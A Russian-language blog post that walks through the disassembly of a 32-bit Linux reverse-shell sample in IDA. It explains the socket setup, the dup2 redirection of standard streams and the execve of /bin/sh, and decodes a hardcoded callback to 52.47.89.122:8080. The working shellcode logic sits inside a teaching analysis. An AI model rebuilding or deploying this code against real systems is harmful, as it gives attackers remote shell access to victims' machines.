Здравствуйте, уважаемые читатели Хабра и любители вирусного анализа!
Сегодня хочу поделиться своим дебютным (на Хабре) разбором простенького семпла шелла под Linux.
Начнём.
Откроем в файл в DIE. Семпл для 32-битной UNIX системы, не упакован.

Энтропии также не наблюдается.

Открываем в IDA. Наблюдаем стандартную заглушку ELF файлов, которая делает их исполняемыми. 464С457Fh - Elf-заголовок в little-endian. -> .ELF. По адресу 0x08048018
находится метка start
- точка входа в программу.

Данный сегмент LOAD
обладает правами- чтение/запись/исполнение.

Это подтверждается и полем Flags
, которое равно 7
.

Flags = 7
→ в битовой форме 0b111
1-й бит (0x1) → Execute
2-й бит (0x2) → Write
3-й бит (0x4) → Read
Метка start
Разберём первый фрагмент.

xor ebx,ebx
- обнуляет регистр ebx
. ->mul ebx
- обнуляет регистр eax
(сокращённая запись mul eax, ebx - вероятно делается для экономии места, чтоб не писать mov eax, 0) ->push ebx
- на стэк кладётся 0
. ->inc ebx
- увеличивает значение ebx на 1
->push ebx
- значение 1
кладётся на стэк. ->push 2
- на стек кладётся 2
->
Таким образом мы получаем некий массив значений [2,1,0]
->mov ecx, esp
- перемещаём в есх адрес на данный массив. ->mov al, 66h
- перемещение в al(eax) 66h (66h - в 32-битных системах означает системный вызов socketcall) ->int 80h
- прерывание для линукс, для вызова socketcall ->xchg eax, ebx
- меняет содержимое регистров eax и ebx. Теперь ebx содержит дискриптор сокета. ->pop ecx
- со стека извлекается последнее добавленное значение - 2
->
Сама структура выглядит следующим образом:
struct sockaddr_in { short sin_family; // AF_INET = 2
unsigned short sin_port; // порт в сетевом порядке байт
struct in_addr sin_addr; // IP-адрес
char sin_zero[8]; // размер полей: sin_family(2 байта),
sin_port(2 байта),
sin_addr(4 байта)
};
Следующий фрагмент(метка loc_8048065), согласно структуре, содержит адрес и порт для подключения.

mov al, 3fh
- 3f это номер системного вызова dup2 в Lunux x86.
dup2(oldfd, newfd) дублирует файловый дескриптор: ebx
- старый дескриптор, ecx
- новый дескриптор. ebx уже хранит дескриптор сокета (сохранён после socket() → xchg eax, ebx)(Рисунок. Метка start). ecx содержит целевое значение файлового дескриптора, который мы хотим заменить.
int 80h
- запускает dup2, дублирует сокет в есх.
dec ecx
- уменьшает есх на 1.
jns short loc_8048065
- цикл работает пока флаг SF не будет равен нулю и ecx не будет иметь отрицательное значение.
Так как в ecx находится 2. то цикл будет проходить в 3 итерации и на третьей выйдет.
2 - 1 = 1
1 - 1 = 0
0 - 1 = -1 (SF < 0 ) потому цикл завершится.
В самом цикле происходит следующее перенаправление потоков.
dup2(sock, 2)
— перенаправить stderr
в сокет.
dup2(sock, 1)
— перенаправить stdout
в сокет.
dup2(sock, 0)
— перенаправить stdin
в сокет.
Дальше идет формирование sockaddr_in.
Тут формируется IP адрес и порт подключения.

Первое значение 7A592F34h - это IP адрес в формате in_addr к которому подключается данный реверсшелл. Адрес находится в little-endian, развернём его в Big-endian и изменим систему на десятичную.
7A 59 2F 34(hex) = 34 2F 59 7A(hex) = 52.47.89.122
Каждый байт соответствует одному октету в IP адресе, потому итоговый вариант разделяем точками.
Второе значение 901F0002h - это sin_port и sin_family. Проделаем с ними те же операции.
90 1F 00 02(hex) = 0200 1F90(hex) = 2 - AF_INET, 00 - разделитель, 8080
- порт подключения. Так как порт у нас имеет размер 2 байта, то переводим из hex в dec сразу 2 байта, не разделяя.
После определения адреса и порта происходит подключение.mov al, 66h
- системный вызов socketcall ->push eax
- размер структуры sockaddr_in ->push ecx
- указатель на sockaddr_in ->push ebx
- дескриптор сокета ->mov bl, 3
- номер подфункции socketcall: connect ->mov ecx, esp
- указатель на массив аргументов ->int 80h
- подключение к 52.47.89.122:8080
Финальный фрагмент. Формирование оболочки.

push edx
- edx = 0, кладём его на стек. Это окончание строки аргументов оболочки.push 68732F6Eh
- это закодированные ASCII символы в Little-endian.
6E(n) 2F(/) 73(s) 68(h) = n/sh
push 69622F2Fh
- 2F(/) 2F(/) 62(b) 69(i) = //bi
mov ebx, esp
- указатель на начало строки, где находятся аргументы, которые, если сложить, то получаем //bin/sh 0
.push edx
- кладём 0 на стек, окончание массива.push ebx
- кладём на стек начало строки с оболочкой.mov ecx, esp
- перемещаем в ecx указатель на массив аргументов.mov al, 0Bh
- перемещаем в al(eax) номер системного вызова execve
.int 80h
- прерывание, которое запускает процесс выполнения оболочки.
Итог
Этот семпл — классический реверс шелл для Linux, возможно созданный при помощи метасплойт:
Создаёт TCP-сокет.
Подключается (или слушает) на определённый порт.
Перенаправляет stdin/stdout/stderr на сокет.
-
Вызывает
/bin/sh
, давая полный удалённый доступ атакующему.Разбор подошел к концу. Спасибо за внимание, надеюсь, этот анализ был полезным.